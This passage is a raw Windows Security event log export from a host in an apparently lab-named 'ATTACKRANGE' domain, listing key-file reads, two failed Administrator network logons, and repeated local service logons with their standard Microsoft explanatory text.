C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245277 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245276 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245275 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245274 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:37:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4625 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245285 -Keywords=Audit Failure -Message=An account failed to log on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Type: 3 - -Account For Which Logon Failed: - Security ID: NULL SID - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Failure Information: - Failure Reason: Unknown user name or bad password. - Status: 0xC000006D - Sub Status: 0xC000006A - -Process Information: - Caller Process ID: 0x0 - Caller Process Name: - - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon request fails. It is generated on the computer where access was attempted. - -The Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network). - -The Process Information fields indicate which account and process on the system requested the logon. - -The Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The authentication information fields provide detailed information about this specific logon request. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4625 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245284 -Keywords=Audit Failure -Message=An account failed to log on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Type: 3 - -Account For Which Logon Failed: - Security ID: NULL SID - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Failure Information: - Failure Reason: Unknown user name or bad password. - Status: 0xC000006D - Sub Status: 0xC000006A - -Process Information: - Caller Process ID: 0x0 - Caller Process Name: - - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon request fails. It is generated on the computer where access was attempted. - -The Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network). - -The Process Information fields indicate which account and process on the system requested the logon. - -The Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The authentication information fields provide detailed information about this specific logon request. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245303 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8CC57 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245302 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8CC57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245301 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245300 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245299 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245298 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8C315 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245297 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8C315 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245296 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245295 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245294 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8B397 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245293 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8B397 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245292 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245291 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245290 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245289 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8A1A7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245288 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8A1A7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245287 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245286 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245359 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x94ABC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245358 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x94ABC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245357 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245356 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245355 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x93DCE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245354 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x93DCE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or 